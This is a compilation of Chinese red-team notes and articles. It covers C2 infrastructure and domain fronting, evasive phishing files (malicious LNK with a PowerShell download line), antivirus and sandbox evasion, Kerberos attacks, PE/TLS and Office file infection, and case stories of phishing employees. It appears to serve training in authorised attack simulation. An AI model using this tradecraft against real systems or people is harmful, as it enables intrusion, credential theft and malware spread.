  13. 情报收集与外网打点 因为起晚了..第一个议题没听着,有点遗憾,补张图 基础设施架构设计部署 普通架构:红队人员--》teamserver cs--》目标机 缺点:功能未分离、无潜伏通道、回连日志多、灵活性较低 演进架构:DNS/HTTP/HTTPS分离server tips:1~2cpu 2G内存 10G硬盘,回连数不超过5台,潜伏通道(根据实际目标环境优先) 完整架构: 域名和IP(VPS)teamserver(CS)前置机(redictor) CS -》teamservers 1/2/3/... 前置层(SMTP/PAYLOAD/C2/隐蔽C2) 选择域名 抢注过期域名 expireddomains.net DELETE DOMAIN tips1: 不要包含世界大厂和杀毒厂商相关的域名,以及和目标相关的域名 tips2:注册目标相关区域常见的域名,记得开隐私保护 其他:www.freshdrop.com www.domcop.com tips3:检查域名是否被分类,金融、医疗、电商、航空、旅游 great tips4:去VT、微步检查,域名是否被标黑 tips5:举报滥用规则仔细阅读(freenom 慎用) 培养域名(养号) 搭建正常域名,提交至各安全厂商给站点分类 tips1:把域名A记录解析到大厂ip,使用时候再解析到C2,不用时候解析回大厂ip tips2:VT 自评, alex 自评 域名解析检测 域名分类检测 domaincheck: IP检测 外网IP,通过情报站看是否被标黑 使用CDN隐藏真实IP(部分安全厂商会拦截CDN IP) 借鸡生蛋, subdomain takeover:高信誉域名A解析B -》 高信誉肉鸡做前置转发 C2工具 CS 3.14 自定义流量特征:DNS/HTTP/HTTPS/SMB和TCP Payload加载流程:shellcode/Loader/Stageless/beacon DNS:如果用到dns通道默认参数必须修改(容易被设备检测),不要用DNS做数据通道 HTTP(S):不要在uri中的文件后缀设置js、css等静态文件,效果:付费证书>免费证书>自签名证书 (Let's Encrypt 免费 3个月过期,开自动续) Redirector DNS socat|iptables|ssh(tmux和screen选一个) Apache|Nginx Tips: 建议使用多个判断过来请求,拒绝使用默认uri,对抗全网C2扫描 仅允许目标相关IP访问,对抗云沙盒 限定访问时间段,只在某个时间段请求payload 不要把非payload的uri重定向到google等高信誉域名 建议:在www.aaa.com搭建来养域名,使用c2.aaa.com的二级域名做C2 Domain Fronting(隐藏IP、域名的方式) Google App Engine| Amazon |Azure|Aliyun CDN 可见层:DNS、TLS 不可见层:HTTPS URL(高信誉) SNI(高信誉) HOST(C2) https://github.com/vysecurity/DomainFrontingLists 代替方案:HTTP pipelining( >http 1.1 ) 和 domain fronting 效果相同 利用同一个tcp连接发送不同的host的http包 tips:good domain + bad domain 包一层同时发过去 第三方服务用作C2 Office365、Pastebin、Slack、Facebook、Dropbox、Gmail、Twitter.. 需要硬编码到第三方服务 邮件钓鱼(SMTP) 域名:同C2域名选择 高信誉的邮件发送者:Mailchimp、Sendgrid 正确配置SPF、DKIM\DMARC SSL证书 发送时间和频率 一键部署 钓鱼邮件框架:Gophish (https://github.com/gophish/gophish) 隐蔽性和安全性 权限最小化:使用iptalbes限定组件通讯,SSH进行端口转发 Teamserver:限制端口只能本地访问,限制beacon监听端口只能redirector访问 Tips:VPS容易被GFW拦截? 解决方案:V*2r a y + Nginx + CLoudflare + Freenom+ Websocket 搭建代理 基础设施监控系统 记录完整日志,设置告警 自动化部署 LuWu(https://github.com/QAX-A-Team/LuWu) 日志中心 邮件钓鱼之前期信息收集与侦查 面临的技术挑战: 邮件网关 mail gateway 浏览器 EDR、IDS Mail Gateway ANTI-SPAM SPF DKIM 新注册域名 生僻域名后缀 敏感关键字 特性: 邮件退信默认开启 MTA默认不开启 Recipient Validation 结论:当我们发送一封钓鱼邮件给一个不存在的邮箱账户时,如果能收到NDR,证明钓鱼邮件通过了邮件网关安全审查(BACKSCATTER ATTACK) BYPASS ANTI-SPAM 通过上述结论,探测,fuzzing ANTI-SPAM 引擎规则 稳定触发NDR的办法: 正文大于10M 收件人超过5000个 BYPASS ANTI-MALWARE NDR 总结 钓鱼样本制作 钓鱼邮件类型 恶意的chm文档:利用easy,但目前比较难过杀软,免杀效果差 带有恶意宏代码的office文档:易于混淆(结合图片模糊之类),但需要手动开宏,进程链可疑 白加黑钓鱼:利用带签名的白程序,通过DLL劫持的方案加载恶意DLL;比较容易过AV,但需要解压执行 LNK文件钓鱼:链接对象是Powershell,进程链完善 PPT钓鱼样本:PPT超链接,弹出“安全声明”,不用启动宏,但必须全屏播放,启用才执行;不推荐使用 漏洞利用的钓鱼邮件:效率高,同样成本也高 写工具自动化生成恶意lnk,关键函数: IShellLink::SetIconLocation() IShellLink::SetShowCmd() 窗口显示 IShellLink::SetArguments() IShellLink::SetPath() ... LNK钓鱼邮件制作 钓鱼简历的编写:内容可选浮夸,让HR打开看完后大概率删除,防止提给技术人员 LNK图标的显示:改成各个系统都能默认显示的通用图标 如何隐藏行为:SetShowCmd() 最小化窗口 Word文档存放: 联网下载Word文档 (New-Object System.Net.WebClient).DownloadFile(url, file_path); 数据还原引擎 协议内容还原:tcp、http、smtp 文件内容还原:office、pdf、zip 加壳程序还原:upx 加密算法数据还原:base64 本地释放Word文档 将Word塞到COMMAND_LINE_ARGUMENTS ARGUMENT用于LNK中存储命令行参数 StringData结构,CountCharacters IShellLink::SetArguments() 塞入数据的最大值是 explorer.exe 对命令行参数长度的限制 实测得出 0x7FC2(31KB) 将Word塞到lnk文件的尾部(推荐使用) 尾部可以追加任意大小的word、PE、PowerShell select -last 1 定位到最后一个对象,以“\n”划分对象 select -index 1 也可以 杀软对抗 短文件名 POWERS~1.EXE 代码混淆 参考赛门铁克的paper 安全类进程检测 虚拟机-取证工具-杀软检测-调试器 常规手法 进程名检测 窗口标题检测 新姿势 遍历进程,获取进程对应的版权信息,与黑名单列表比对 优点:升级版本也不变,通用 如何根据PID获取进程的全路径:ProcessExplorer x86不太可行,x64可以 绕过PCHunter 0RING hook 检测后行为,通知攻击者,及时善后处理 内网横向移动 内网侦查 经典主被动内网侦查方式 主动扫描 设备资产识别 可用服务采集 脚本检测 被动搜集 监听广播消息 雷区警示 风险面:Network ACL封锁、受控主机HIDS、HoneyPot、NIDS 方法对比 域内信息侦查 * 类域 * *nix * Windows AD 定位域控(域内主机) 时间服务器 net time /domain w32tm /query DNS服务器 Get-DnsClientServerAddress 查询本机 DNS SERVER 设置 向DNS server 查询 Domain Name A记录对应地址 域控定位器 DC Locator Process 产生DNS查询,沿用DC Locator的机制很安全 Kerberos认证,KDC GC 查询工具 nltest 提取域控信息的过程 net dsquery 通过对LDAP进行查询 dsquery/ADSISearcher使用明文的LDAP协议,容易被IDS捕获 定位域控(域外主机) DNS排查 Scan UDP/53 Query DNS FQDN from DNS Query Locators from DNS LDAP(S)& GC(S) 扫描端口,利用特性筛查域名 匿名读取部分LDAP元数据 读取LDAP证书信息 GC服务 查询 TCP/3268 TCP/3269 防御:可以关闭匿名绑定 查询LDAP(S)服务 ADexplorer:GUI,一些cmdlet Get-ADUser Powerview:大量cmdlet Kerberos AS-REQ & AS-REP KDC TGT票据 基于AS协议的用户枚举 KERBEROSUSERENUM(a-team github) MSF模块 ASREPROAST Session Key,使用用户的NTHASH加密 John/HashCat 可以进行离线破解 SPN(Service Principal Name)域对象的属性,对象是机器/用户,必须设置 TGS-REQ & TGS-REP 服务票据 Service Ticket 结论:普通域账号申请服务票据后可以对账号离线破解 KERBEROAST攻击(基于上述结论) Rubeus.exe PowerView HUNT DOMAIN ADMIN 特定用户登录会话 远程会话枚举 NetSessionEnum(SMB会话) NetWkstaUserEnum(交互登录会话)新版本系统需要 admin privilige 远程用户枚举 场景:一些同域管理账号同名的本地账号可能是同一人创建 SAMR 查询组和成员信息(注:Win 10后没有admin无法枚举) LSARPC 查询SID相关 远程登录枚举 交互式登陆:主要指Console和RDP登陆的方式 获取主机权限:Vul RBCD & RPRN 提取遗留的凭据: Powerview Mimikatz 得到用户权限 横向移动 MS-RPC WMI:基于DCOM TCP/135 明文传输 PSEXEC:(tips:使用impacket工具 psexec.py 区别在于目标支持SMB3.0默认开启加密) 远程计划任务 DCOM:远程调用的COM组件 TCP/445 + Random port dcomexec.py Kerberos委派 概念:是一种让服务有能力以来访用户身份访问其他服务的认证机制 无限制委派:default设置仅域控可以无限制委派 S4U2SELF PRINTER BUG:Printer Spooler服务SSRF 无限制委派+S4U2SELF+PRINTER 任意域控 约束委派 S4U2PROXY 基于资源的委派(RBCD) 目前杀伤力最大的委派 继承S4U2SELF、S4U2PROXY 域权限维持 主机权限维持(常见类型,不展开) 域权限维持 SPN 针对账户进行,参考前面 黄金票据 用krbtgt加密TGT,TGT加密使用该账户的key作为密钥 使用默认参数创建的金票过期时间很长,mimikatz DCSync拉取域内账户的hash/key 检测点: krbtgt key,修改krbtgt密码两次,分析4769日志 日志分析 IDS规则,过期时间,算法等 白银票据 SRVS的相关key加密 检测点: PAC信息验证 受限委派 RBCD 域组策略 LAPS 文件感染与横向移动 文件感染 意义 场景 公司软件库供应链,类似“驱动人生” 感染远程共享文件 外界设备感染,如U盘、移动硬盘 3389挂载盘到服务器 邮件感染,插入恶意宏 流量劫持,感染传输中的文件 方式 PE感染 LNK感染 Office感染 常规PE感染 给exe添加一个导入函数,DllMain中写恶意代码,工具StudyPE 把恶意代码插入到PE中,修改OEP,重建PE OEP内某处跳转到恶意代码 修改OEP指向恶意代码 对抗思路 DLL加载 OEP jump 利用TLS(线程局部存储)回调 TLS感染 TLS回调,反调试;把恶意代码放在TLS,不需要修改OEP TLS数据结构 TLS感染总体流程:搜寻节间隙 - 修改录数据目 - 构建TLS目录 TLS回调函数 - 重建PE - 恶意文件释放 LNK文件 图标如何保持不变? IShellLink::SetIconLocation()把exe设置为当前lnk的图标 恶意代码正常拉起原程序 借助rundll32.exe 场景:权限维持、横向移动 Office文件感染 .docx .docm(宏文件) 可以改为 .doc 目标:把.docx转换为带恶意宏的.docm或.doc 杀软对抗 修改文件关联 .docm 改为.doc,对抗针对后缀.docm 的检测 修改宏关联文件,对抗依赖文件名or类型检测 from:https://github.com/backlion/RedTeam-BCS
  14. 0x00、Red Team建设目标 在平时听新闻联播,军事解决当中,我们都会听到红蓝军对抗,在信息安全行业与军方的一些相似性,网络世界Red Team就是攻击者的一方。安全能力的提升,在安全威胁没有挖掘出来之前,只能通过攻防对抗的形式体现出来。 Red Team主要专注对不同系统的渗透测试以及各种安全水平的安全程序。他们可以检测,预防和消除漏洞。Red Team模仿可能袭击公司或组织的现实攻击,并执行攻击者将使用的所有必要步骤。通过承担攻击者的角色,他们向组织展示可能是后门或可利用的漏洞,这些漏洞对他们的网络安全构成威胁。 一种常见的做法是雇用组织外部的人员进行红色团队合作 – 有人掌握了利用安全漏洞的知识,但却没有意识到组织基础架构中内置的防御措施。 当然在企业安全建设过程当中,我们的企业只有在拥有了基本的防御和检测的能力,并需要持续检验和改进这种能力时,才有建设Red Team的必要。 0x01、Red Team技能 1、打破传统攻击思维 红队的主要特点是跳出框框思考; 不断寻找新工具和技术,以更好地保护公司安全。作为一个红色团队具有一定程度的反叛,因为它是一个禁忌 – 你在违反规则和合法性的同时遵循白帽技术并向人们展示他们系统中的缺陷。这些都不是每个人都喜欢的。 2、深入了解被攻击系统 对于红队来说,了解所有系统并遵循技术趋势至关重要。了解服务器和数据库将为您提供更多选择,以找到发现其漏洞的方法。 3、安全工具自动化能力 了解如何开发自己的工具的好处是巨大的。编写软件需要大量练习和不断学习,因此使用它获得的技能将帮助任何红队执行最佳的进攻战术。 4、渗透测试 渗透测试是模拟对计算机和网络系统的攻击,有助于评估安全性。它识别漏洞和任何潜在威胁,以提供全面的风险评估。渗透测试是红队的重要组成部分,也是其“标准”程序的一部分。它也经常被白帽子使用。 5、社会工程学 在对任何组织进行安全审核时,操纵人员执行可能导致敏感数据泄露的操作非常重要,因为人为错误是数据泄露和泄漏的最常见原因之一。 0x02、Red Team入侵基础设施 在攻击对方之前需要建立自己的基础设施。整体来说应该有两部分,第一部分,情报收集,第二部分,C2架构。 一、情报收集 主动收集:对目标域名采集,主机和web系统漏洞扫描、 被动收集:使用Shodan、Google、Github、Maltego等情报收集。 社工收集:企业邮箱、微信、微博等企业员工信息收集。 二、C2架构 简单解释一下:C2就是在你已经获取目标系统权限后,后门持久化一套系统,这部分建立需要配合payload生成系统。 目前常见的手段:DNS隧道、HTTP隧道外联的C2系统。 重定向C2流量背后的目的是双样的:当应急响应人员查看通讯事件时,混淆后端团队服务器,似乎是合法的网站。通过使用Apache mod_rewrite和[自定义C2配置文件,我们可以可靠地过滤来自调查流量的真实C2流量。 使用HTTPS进行C2重定向 在上面的“C2重定向”的基础上,另一种方法是让您的重定向服务器使用Apache的SSL代理引擎来接受入站SSL请求,并将这些请求代理到反向HTTPS侦听器的请求。加密在所有阶段使用,您可以根据需要在重定向器上轮换SSL证书。 0x03、Red Team价值 通过量化的入侵指标来提升安全能力,同时也帮助安全产品团队提升基于主机和网络的入侵检测系统的检出率。 from: https://www.4hou.com/penetration/17530.html
  15. 0x00 什么是红队 红队,一般是指网络实战攻防演习中的攻击一方。 红队一般会针对目标系统、人员、软件、硬件和设备同时执行的多角度、混合、对抗性的模拟攻击;通过实现系统提权、控制业务、获取数据等目标,来发现系统、技术、人员和基础架构中存在的网络安全隐患或薄弱环节。 红队人员并不是一般意义上的电脑黑客。因为黑客往往以攻破系统,获取利益为目标;而红队则是以发现系统薄弱环节,提升系统安全性为目标。此外,对于一般的黑客来说,只要发现某一种攻击方法可以有效地达成目标,通常就没有必要再去尝试其他的攻击方法和途径;但红队的目标则是要尽可能地找出系统中存在的所有安全问题,因此往往会穷尽已知的“所有”方法来完成攻击。换句话说,红队人员需要的是全面的攻防能力,而不仅仅是一两招很牛的黑客技术。 红队的工作也与业界熟知的渗透测试有所区别。渗透测试通常是按照规范技术流程对目标系统进行的安全性测试;而红队攻击一般只限定攻击范围和攻击时段,对具体的攻击方法则没有太多限制。渗透测试过程一般只要验证漏洞的存在即可,而红队攻击则要求实际获取系统权限或系统数据。此外,渗透测试一般都会明确要求禁止使用社工手段(通过对人的诱导、欺骗等方法完成攻击),而红队则可以在一定范围内使用社工手段。 还有一点必须说明:虽然实战攻防演习过程中通常不会严格限定红队的攻击手法,但所有技术的使用,目标的达成,也必须严格遵守国家相关的法律和法规。 在演习实践中,红队通常会以3人为一个战斗小组,1人为组长。组长通常是红队中综合能力最强的人,需要较强的组织意识、应变能力和丰富的实战经验。而2名组员则往往需要各有所长,具备边界突破、横向移动(利用一台受控设备攻击其他相邻设备)、情报收集或武器制作等某一方面或几个方面的专长。 红队工作对其成员的能力要求往往是综合性的、全面性的。红队成员不仅要会熟练使用各种黑客工具、分析工具,还要熟知目标系统及其安全配置,并具备一定的代码开发能力,以便应对特殊问题。 0x02 红队三板斧——攻击的三个阶段 红队的攻击并非是天马行空的撞大运,而是一个有章可循、科学合理的作战过程。一般来说,红队的工作可分为三个阶段:情报收集、建立据点和横向移动。我们也常将这个三个阶段称为红队工作的“三板斧”。 一、第一阶段:情报收集 当红队专家接到目标任务后,并不会像渗透测试那样在简单收集数据后直接去尝试各种常见漏洞,而是先去做情报侦察和信息收集工作。收集的内容包括组织架构、IT资产、敏感信息泄露、供应商信息等各个方面。组织架构包括单位部门划分、人员信息、工作职能、下属单位等;IT资产包括域名、IP地址、C段、开放端口、运行服务、WEB中间件、WEB应用、移动应用、网络架构等;敏感信息泄露包括代码泄露、文档信息泄露、邮箱信息泄露、历史漏洞泄露信息等方面;供应商信息包括相关合同、系统、软件、硬件、代码、服务、人员等相关信息。 掌握了目标企业相关人员信息和组织架构,可以快速定位关键人物以便实施鱼叉攻击,或确定内网横纵向渗透路径;而收集了IT资产信息,可以为漏洞发现和利用提供数据支撑;掌握企业与供应商合作相关信息,可为有针对性开展供应链攻击提供素材。而究竟是要社工钓鱼,还是直接利用漏洞攻击,抑或是从供应链下手,一般取决于哪块是安全防护的薄弱环节,以及红队对攻击路径的选择。 二、第二阶段:建立据点 在找到薄弱环节后,红队专家会尝试利用漏洞或社工等方法去获取外网系统控制权限,一般称之为“打点”或撕口子。在这个过程中,红队专家会尝试绕过WAF、IPS、杀毒软件等防护设备或软件,用最少的流量、最小的动作去实现漏洞利用。 通过撕开的口子,寻找和内网联通的通道,再进一步进行深入渗透,这个由外到内的过程一般称之为纵向渗透,如果没有找到内外联通的DMZ区(Demilitarized Zone,隔离区),红队专家会继续撕口子,直到找到接入内网的点为止。 当红队专家找到合适的口子后,便可以把这个点作为从外网进入内网的根据地。通过frp、ewsocks、reGeorg等工具在这个点上建立隧道,形成从外网到内网的跳板,将它作为实施内网渗透的坚实据点。 若权限不足以建立跳板,红队专家通常会利用系统、程序或服务漏洞进行提权操作,以获得更高权限;若据点是非稳定的PC机,则会进行持久化操作,保证PC机重启后,据点依然可以在线。 三、第三阶段:横向移动 进入内网后,红队专家一般会在本机以及内部网络开展进一步信息收集和情报刺探工作。包括收集当前计算机的网络连接、进程列表、命令执行历史记录、数据库信息、当前用户信息、管理员登录信息、总结密码规律、补丁更新频率等信息;同时对内网的其他计算机或服务器的IP、主机名、开放端口、开放服务、开放应用等情况进行情报刺探。再利用内网计算机、服务器不及时修复漏洞、不做安全防护、同口令等弱点来进行横向渗透扩大战果。 对于含有域的内网,红队专家会在扩大战果的同时去寻找域管理员登录的蛛丝马迹。一旦发现某台服务器有域管理员登录,就可以利用Mimikatz等工具去尝试获得登录账号密码明文,或者Hashdump工具去导出NTLM哈希,继而实现对域控服务器的渗透控制。 在内网漫游过程中,红队专家会重点关注邮件服务器权限、OA系统权限、版本控制服务器权限、集中运维管理平台权限、统一认证系统权限、域控权限等位置,尝试突破核心系统权限、控制核心业务、获取核心数据,最终完成目标突破工作。 0x03 红队也套路——常用的攻击战术 在红队的实战过程中,红队专家们逐渐摸出了一些套路、总结了一些经验:有后台或登录入口的,会尽量尝试通过弱口令等方式进入系统;找不到系统漏洞时,会尝试社工钓鱼,从人开展突破;有安全防护设备的,会尽量少用或不用扫描器,使用EXP力求一击即中;针对蓝队防守严密的系统,会尝试从子公司或供应链来开展工作。建立据点过程中,会用多种手段多点潜伏,防患于未然。 下面介绍四种红队最常用的攻击战术。 一、利用弱口令获得权限 弱密码、默认密码、通用密码和已泄露密码通常是红队专家们关注的重点。实际工作中,通过脆弱口令获得权限的情况占据90%以上。 很多企业员工用类似zhangsan、zhangsan001、zhangsan123、zhangsan888这种账号拼音或其简单变形,或者123456、888888、生日、身份证后6位、手机号后6位等做密码。导致通过信息收集后,生成简单的密码字典进行枚举即可攻陷邮箱、OA等账号。 还有很多员工喜欢在多个不同网站上设置同一套密码,其密码早已经被泄露并录入到了社工库中;或者针对未启用SSO验证的内网业务系统,均习惯使用同一套账户密码。这导致从某一途径获取了其账户密码后,通过凭证复用的方式可以轻而易举地登录到此员工所使用的其他业务系统中,为打开新的攻击面提供了便捷。 很多通用系统在安装后会设置默认管理密码,然而有些管理员从来没有修改过密码,如admin/admin、test/123456、admin/admin888等密码广泛存在于内外网系统后台,一旦进入后台系统,便有很大可能性获得服务器控制权限;同样,有很多管理员为了管理方便,用同一套密码管理不同服务器。当一台服务器被攻陷并窃取到密码后,进而可以扩展至多台服务器甚至造成域控制器沦陷的风险。 二、利用社工来进入内网 计算机“从来”不会犯错误,程序怎么写,逻辑便怎么执行;在一台计算机上怎样执行,在另外一台计算机也同样执行。但人却会犯各种各样的错误,同一名员工在不同情况下的同一件事情上可能会犯不同的错误,不同的员工在同一情况的同一件事情上也可能会犯不同错误。很多情况下,当红队专家发现搞系统困难时,通常会把思路转到“搞人”(社工、钓鱼等)。 很多员工对接收的木马、钓鱼邮件没有防范意识。红队专家可针对某目标员工获取邮箱权限后,再通过此邮箱发送钓鱼邮件。大多数员工由于信任内部员工发出的邮件,从而轻易点击了夹带在钓鱼邮件中的恶意附件。一旦员工个人电脑沦陷,红队专家可以员工PC作为跳板实施横向内网渗透,继而攻击目标系统或其他系统、甚至攻击域控制器导致内网沦陷。 当然,社工不仅仅局限于使用电子邮件,通过客服系统、聊天软件、电话等方式有时也能取得不错的效果。像当年经典的黑客“朽木”入侵某大型互联网公司,所采用的就是通过客服系统反馈客户端软件存在问题无法运行,继而向客服发送了木马文件,最终木马上线后成功控制了该公司核心系统,就是一个经典的案例。有时,黑客会利用企业中不太懂安全的员工来打开局面,譬如给法务人员发律师函、给人力资源人员发简历、给销售人员发采购需求等等。 一旦控制了相关员工计算机,便可以进一步实施信息收集。譬如大部分员工为了日常计算机操作中的方便,以明文的方式在桌面或“我的文档”存储了包含系统地址以及账号密码的文档;此外大多数员工也习惯使用浏览器的记住密码功能,浏览器记住密码功能大部分依赖系统的API进行加密,所存储的密码是可逆的。红队在导出保存的密码后,可以在受控机上建立跳板,用受控员工的IP、账号、密码来登录,简直没有比这更方便的了。 三、利用旁路攻击实施渗透 在有蓝队防守的红队工作中,有时总部的网站防守得较为严密,红队专家很难直面硬钢,撬开进入内网的大门。此种情况下,通常红队不会去硬攻城门,而是会想方设法去找“下水道”,或者挖地道去迂回进攻。 红队实战中发现,绝大部分企业的下属子公司之间,以及下属公司与集团总部之间的内部网络均未进行有效隔离。很多部委单位、大型央企均习惯使用单独架设一条专用网络来打通各地区之间的内网连接,但同时又忽视了针对此类内网的安全建设,缺乏足够有效的网络访问控制,导致子公司、分公司一旦被突破,红队可通过内网横向渗透直接攻击到集团总部,漫游企业整个内网,攻击任意系统。 例如A子公司位于深圳,B子公司位于广州,而总部位于北京。当A子公司或B子公司被突破后,都可以毫无阻拦地进入到总部网络中来;而另外一种情况,A与B子公司可能仅需要访问总部位于北京的业务系统,而A与B不需要有业务上的往来,理论上应该限制A与B之间的网络访问。但实际情况是,一条专线内网通往全国各地,一处沦陷可以导致处处沦陷。 另外大部分企业对开放于互联网的边界设备较为信任,如VPN系统、虚拟化桌面系统、邮件服务系统等。考虑到此类设备通常访问内网的重要业务,为了避免影响到员工的正常使用,企业没有在其传输通道上增加更多的防护手段;再加上此类系统多会集成统一登录,一旦获得了某个员工的账号密码,就可以通过这些系统突破边界直接进入内网中来。 譬如开放在内网边界的邮件服务通常缺乏审计、也未采用多因子认证,员工平时通过邮件传送大量内网的敏感信息,如服务器账户密码、重点人员通讯录等;当掌握员工账号密码后,在邮件中所获得的信息,会给红队下一步工作提供很多方便。 四、秘密渗透与多点潜伏 红队工作一般不会大规模使用漏洞扫描器。目前主流的WAF、IPS等防护设备都有识别漏洞扫描器的能力,一旦发现后,可能第一时间触发报警或阻断IP。因此信息收集和情报刺探是红队工作的基础,在数据积累的基础上,针对性地根据特定系统、特定平台、特定应用、特定版本,去寻找与之对应的漏洞,编写可以绕过防护设备的EXP来实施攻击操作,可以达到一击即中的目的。 现有的很多安全设备由于自身缺陷或安全防护能力薄弱,基本上不具备对这种针对性攻击进行及时有效发现和阻止攻击行为的能力。导致即便系统被入侵,红队获取到目标资料、数据后,被攻击单位尚未感知到入侵行为。此外由于安全人员技术能力薄弱,无法实现对攻击行为的发现、识别,无法给出有效的攻击阻断、漏洞溯源及系统修复策略,导致在攻击发生的很长一段时间内,对红队尚没有有效的应对措施。 红队专家在工作中,通常不会仅仅站在一个据点上去开展渗透工作,而是会采取不同的Webshell、后门,利用不同的协议来建立不同特征的据点。因为大部分应急响应过程并不能溯源攻击源头,也未必能分析完整攻击路径,缺乏联动防御。蓝队在防护设备告警时,大部分仅仅只处理告警设备中对应告警IP的服务器,而忽略了对攻击链的梳理,导致尽管处理了告警,仍未能将红队排除在内网之外,红队的据点可以快速“死灰复燃”;如果某些蓝队成员专业程度不高,缺乏安全意识,导致如针对Windows服务器应急运维的过程中,直接将自己的磁盘通过远程桌面共享挂载到被告警的服务器上行为,反而可以给红队进一步攻击蓝队成员的机会。 0x04 红队三十六计——经典攻击实例 古人带兵打仗讲三十六计,而红队实战亦是一个攻防对抗的过程,同样是人与人之间的较量,需要出谋划策、斗智斗勇。在这个过程中,有着“勾心斗角”、“尔虞我诈”,也有着勇往直前、正面硬刚。为此,我们精选了几个小案例,以三十六计为题向大家展现红队的常见攻击手法。 一、浑水摸鱼——社工钓鱼突破系统 社会工程学(简称社工)在红队工作中占据着半壁江山,而钓鱼攻击则是社工中的最常使用的套路。钓鱼攻击通常具备一定的隐蔽性和欺骗性,不具备网络技术能力的人通常无法分辨内容的真伪;而针对特定目标及群体精心构造的鱼叉钓鱼攻击则可令具备一定网络技术能力的人防不胜防,可谓之渗透利器。 小D团队便接到这样一个工作目标:某企业的财务系统。通过前期踩点和信息收集发现,目标企业外网开放系统非常少,也没啥可利用的漏洞,很难通过打点的方式进入到内网。 不过还是让他们通过网上搜索以及一些开源社工库中收集到一批目标企业的工作人员邮箱列表。掌握这批邮箱列表后,小D便根据已泄露的密码规则、123456、888888等常见弱口令、用户名密码相同,或用户名123这种弱口令等生成了一份弱口令字典。利用hydra等工具进行爆破,成功破解一名员工的邮箱密码。 小D对该名员工来往邮件分析发现,邮箱使用者为IT技术部员工。查看该邮箱发件箱,看到他历史发过的一封邮件如下: 标题:关于员工关掉445端口以及3389端口的操作过程 附件:操作流程.zip 小D决定浑水摸鱼,在此邮件的基础上进行改造伪装,构造钓鱼邮件如下。其中,zip文件为带有木马的压缩文件。 标题:关于员工关掉445端口以及3389端口的操作补充 附件:操作流程补充.zip 为提高攻击成功率,通过对目标企业员工的分析,小D决定对财务部门以及几个跟财务相关的部门进行邮件群发。 小D发送了一批邮件,有好几个企业员工都被骗上线,打开了附件。控制了更多的主机,继而便控制了更多的邮箱。在钓鱼邮件的制作过程中,小D灵活根据目标的角色和特点来构造。譬如在查看邮件过程中,发现如下邮件: 尊敬的各位领导和同事,发现钓鱼邮件事件,内部定义为19626事件,请大家注意邮件附件后缀后.exe、.bat等… … 小D同样采用浑水摸鱼的策略,利用以上邮件为母本,以假乱真构造以下邮件继续钓鱼: 尊敬的各位领导和同事,近期发现大量钓鱼邮件,以下为检测程序… … 附件:检测程序.zip 通过不断地获取更多的邮箱权限、系统权限,根据目标角色针对性设计钓鱼邮件,小D最终成功拿下目标! 二、声东击西——混淆流量躲避侦察 在有蓝队(防守方)参与的实战攻防工作中,尤其是有蓝队排名或通报机制的工作中,红队与蓝队通常会产生对抗。IP封堵与绕过、WAF拦截与绕过、Webshell查杀与免杀,红蓝之间通常会开展一场没有硝烟的战争。 小Y和所带领的团队就遭遇了这么一次:刚刚创建的跳板几个小时内就被阻断了;刚刚上传的Webshell过不了几个小时就被查杀了。红队打到哪儿,蓝队就根据流量威胁审计跟到哪,不厌其烦,团队始终在目标的外围打转。 没有一个可以维持的据点,就没办法进一步开展内网突破。小Y和团队开展了一次头脑风暴,归纳分析了流量威胁审计的天然弱点,以及蓝队有可能出现的人员数量及技术能力不足等情况,制定了一套声东击西的攻击方案。 具体方法就是:同时寻找多个具有直接获取权限漏洞的系统,正面大流量进攻某个系统,吸引火力,侧面尽量减少流量直接拿权限并快速突破内网。 为此,小Y团队先通过信息搜集发现目标企业的某个外网WEB应用,并通过代码审计开展漏洞挖掘工作,成功发现多个严重的漏洞。另外发现该企业的一个营销网站,通过开展黑盒测试,发现存在文件上传漏洞。 小Y将团队兵分两路,除自己外的所有其他成员主攻营销网站,准备了许多分属不同A段的跳板,不在乎是否被发现,也不在乎是否封堵,甚至连漏洞扫描器都上了,力求对流量威胁分析系统开启一场规模浩大的“分布式拒绝服务”,让蓝队的防守人员忙于分析和应对;而自己则悄无声息地用不同的IP和浏览器指纹特征对WEB应用网站开展渗透,力求用最少的流量拿下服务器,让威胁数据淹没在营销网站的攻击洪水当中。 通过这样的攻击方案,小Y团队同时拿下营销网站和WEB应用网站,但在营销网站的动作更多,包括关闭杀软、提权、安置后门程序、批量进行内网扫描等众多敏感操作;同时在WEB应用网站利用营销网站上获得的内网信息,直接建立据点,开展内网渗透操作。 很快营销网站就被蓝方下线了,蓝队开始根据流量开展分析、溯源和加固工作;而此时小Y已经在WEB应用网站上搭建了frp socks代理,内网横向渗透拿下多台服务器,使用了多种协议木马,备份多个通道稳固权限,以防被防守方发现或直接踢出局。接续的几天服务器权限再未丢失,继续后渗透拿下域管理员、域控制器,最终拿下目标权限,工控设备权限等核心目标系统。 在渗透收尾的后期,小Y团队通过目标企业安全信息中心的员工邮件看到,蓝队此时依旧在对营销网站产生的数据报警做分析和上报防守战果等工作,然而此时该企业的目标系统其实早已经被红队拿下了。 三、李代桃僵——旁路攻击搞定目标 其实在红队工作过程当中,也碰到过很多奇葩的事情:譬如有蓝队将整个网站的首页替换成了一张截图;有的将所有数据传输接口全部关闭了,然后采用excel表格的方式实现数据导入;有的将内网目标系统的IP做了限定,仅允许某个管理员IP访问等。 小H带领的红队就遇到类似的一次:目标企业把外网系统能关的都关了,甚至连邮件系统都做了策略,基本上没有办法实现打点和进入内网。 为此,小H团队通过充分信息收集后,决定采取“李代桃僵”的策略:既然母公司不让搞,那么就去搞子公司。然而工作过程中发现,子公司也做好了防护,而且基本上也关个遍。一不做,二不休,子公司不让搞,那么就搞子公司的子公司,搞它的孙公司。 于是,小H团队从孙公司下手,利用sql注入+命令执行漏洞成功进入(孙公司A) DMZ区。继续后渗透、内网横向移动控制了孙公司域控、DMZ服务器。在(孙公司A)稳固权限后,尝试搜集最终目标内网信息、子公司信息,未发现目标系统信息。但发现(孙公司A)可以连通(子公司B)。 小H决定利用(孙公司A)内网对(子公司B)展开攻击。利用tomcat弱口令+上传漏洞进入(子公司B)内网域,利用该服务器导出的密码在内网中横向渗透,继而拿下(子公司B)多台域服务器,并在杀毒服务器获取到域管理员账号密码,最终获取(子公司B)域控制器权限。 在(子公司B)内做信息收集发现:(目标系统x)托管在(子公司C),(子公司C)单独负责运营维护,而(子公司B)内有7名员工与(目标系统x)存在业务往来,7名员工大部分时间在(子公司C)办公,但办公电脑资产属于(子公司B),加入(子公司B)的域,且办公电脑经常带回(子公司B)。 